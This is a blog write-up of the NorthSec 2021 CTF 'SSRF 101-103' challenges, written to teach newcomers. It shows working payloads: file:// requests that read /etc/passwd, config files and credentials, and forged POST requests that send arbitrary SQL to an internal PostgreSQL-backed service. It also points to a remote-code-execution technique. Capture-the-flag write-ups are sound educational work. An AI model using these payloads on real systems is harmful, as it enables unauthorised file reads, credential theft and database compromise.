NorthSec 2021 CTF write-up – part 1

by | May 29, 2021 | CTF write-ups, Hack, Information Technology, InfoSec | 0 comments

It has been a few weeks since I wrote my last post! I was working on another post (which is almost done), but then NSec’s CTF was coming up so I had to prepare a bit!

We did come up in 11’th place!

In the coming weeks, I will be writing a few write-ups of a few challenges I found really interesting and challenging. I will try to break them down as much as possible to make them understandable to the broadest public as possible.

Until then, I will explain here more simple challenges I helped solve so that the new comers to CTFs can understand how it was done.

SSRF 101 – 103

SSRF means “Server-Side Request Forgery”. This type of vulnerability allows an attacker to make a server make an arbitrary request, potentially accessing restricted services or pages (imagine a server where the “/admin” page is restricted to the internal network).

We were given a website that had a form where we could ask the website to “cast a spell” (the scenario was around wizards):

When we clicked a spell on the side (like “Abra!”), the URL field would be get filled with “http://localhost/spell.php?spell=abra” (I might be wrong on the exact URL, but you get the idea). The field “Method” would get the value “GET” (meaning a GET request). If we submitted the request, we would receive the text “Cadabra!”; nothing interesting. I could know the webpage was in PHP because of the headers in the response and I got the same page when requesting “index.php”.

The title of the challenge is a big hint! So we tried “https://www.google.com” and we could confirm that we could go anywhere with this form. So from here, what can we do?

I asked google how PHP can fetch pages and display the content, which pointed me to the function “file_get_contents“. Looking at the documentation from PHP, we can see a few interesting informations:

file_get_contents('http://www.example.com/');
file_get_contents('./people.txt');

From this, I understand 2 things:
1. We can enter a URL, confirming it might be how the site gets the content
2. We can enter a file, meaning we could potentially ask for any file on the server?

Well that’s a good idea! Let’s try with the classic “/etc/passwd“: file:///etc/passwd (we specify “”file://” as the protocol, as opposed to “http://”):

That’s it! We could include a local file! But at the moment there is no flag, so we need to dig further. I don’t know where the website is located on the server, so I’ll go check Apache‘s configuration file in the standard location, hoping nothing differs from the default config: file:///etc/apache2/sites-enabled/000-default.conf
I get this content:

<VirtualHost *:80>
	ServerName localhost
	DocumentRoot /var/www/html/spell-api
</VirtualHost>

<VirtualHost *:8080>
	ServerName localhost
	DocumentRoot /var/www/html/spell-library

	<Directory /var/www/html/spell-library>
		Order deny,allow
		Deny from all
		Allow from ::1
		Allow from localhost
	</Directory>
</VirtualHost>

So from here, we know the main website is stored in “/var/www/html/spell-api” and the second website (the one with the port 8080) in “/var/www/html/spell-library”. Let’s try the first website’s “index.php”: file:////var/www/html/spell-api/index.php :

<?php 
    require_once("config.php");

    if(isset($_GET["spell"])){
        $spell = strtolower($_GET["spell"]);
        if($spell === "abra"){
            echo "Cadabra!";
            die();
        } elseif($spell === "open"){
            echo "Sesame!";
            die();
        } elseif($spell === "healthcheck"){
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, "http://".SPELL_LIBRARY_HOST.":".SPELL_LIBRARY_PORT."");
            curl_setopt($ch, CURLOPT_POSTFIELDS, "user=".SPELL_LIBRARY_USER."&password=".urlencode(SPELL_LIBRARY_PASSWORD));
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
            $output = curl_exec($ch);
            curl_close($ch);
            echo $output;
            die();
        } else {
            echo "This spell is not yet implemented in our system. Wait some more years and try again, young apprentice.";
            die();
        }
    }

Hum, no flag. But we can see some variables (SPELL_LIBRARY_USER, SPELL_LIBRARY_PASSWORD) as well as how the website does the request. Let’s find the value of the variables; they are probably stored in the included “config.php” file file:////var/www/html/spell-api/config.php:

<?php
#FLAG-3b9be864e856c31b6ce2b94435b17803 (1/3)
define("SPELL_LIBRARY_USER", "postgres");
define("SPELL_LIBRARY_PASSWORD", "Let&me=in");
define("SPELL_LIBRARY_HOST", "localhost");
define("SPELL_LIBRARY_PORT", 8080);

First flag! Nice! And we now know there are 3 flags! Let’s continue on to the index of the second website: file:///var/www/html/spell-library/index.php:

<?php
    if(isset($_POST['user'], $_POST['password'])) {
        try{
            $conn = new PDO("pgsql:host=localhost;port=5432;", $_POST['user'], $_POST['password'], array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION));
        } catch (PDOException $e){
            echo "You are not a wizard, get out!";
            die();
        }
        if(isset($_POST["query"])){
            try{
                $cursor = $conn->query($_POST["query"]);
                $results = $cursor->fetchall(PDO::FETCH_ASSOC);
                if(!empty($results)){
                    $columns = array_keys($results[0]);
                    echo implode(" | ", $columns)."\n";
                    foreach ($results as $key => $value) {
                        echo implode(" | ", $value)."\n";
                    }
                }
            } catch(PDOException $e) {
                echo "Seems like your spell failed. You should have studied more!";
                die();
            }
        } else {
            echo "Yes, yes.. I'm alive. What is it?";
            die();
        }
    } else {
        echo "Only a wizard can access the library.";
        die();
    }

Ok so this website uses the user and password sent with the request in the main site on this line:

curl_setopt($ch, CURLOPT_POSTFIELDS, "user=".SPELL_LIBRARY_USER."&password=".urlencode(SPELL_LIBRARY_PASSWORD));

It is also able to receive a hidden “query” parameter that we can add to our request. Let’s bypass the spell.php file and request directly this website with the right parameters to get all the existing tables in the DB. We need to use the POST method, with the URL http://localhost:8080/ and the params:

user=postgres&password=Let%26me%3din&query=SELECT+table_name+FROM+information_schema.tables

Note: more info on how to do this: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md#postgresql-list-tables

From this point, I don’t have exactly what was return from the request, but I do have my final payload: URL http://localhost:8080/ with params:

user=postgres&password=Let%26me%3din&query=select+*+from flag_589725fe305.flag

With this query, we received the flag that was in the DB.

For the third flag, we found it by simply guessing file:///flag.txt and got it. After asking the challenge designer, it turns out he made a mistake and that file was supposed to have a random name so we couldn’t simply guess. My understanding is that we were suppose to get remote code execution on the server through the SQL injection. More info: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5

Conclusion

Well that’s it for now!

If you’re interested in other write-ups, you can find them here:
https://nsec.io/competition-write-ups/

Also, don’t hesitate to ask me questions, I know hacking is hard! It is for everyone!

Liked it? Take a second to support Tristan Dostaler on Patreon!

0 Comments

Leave a Reply

%d bloggers like this: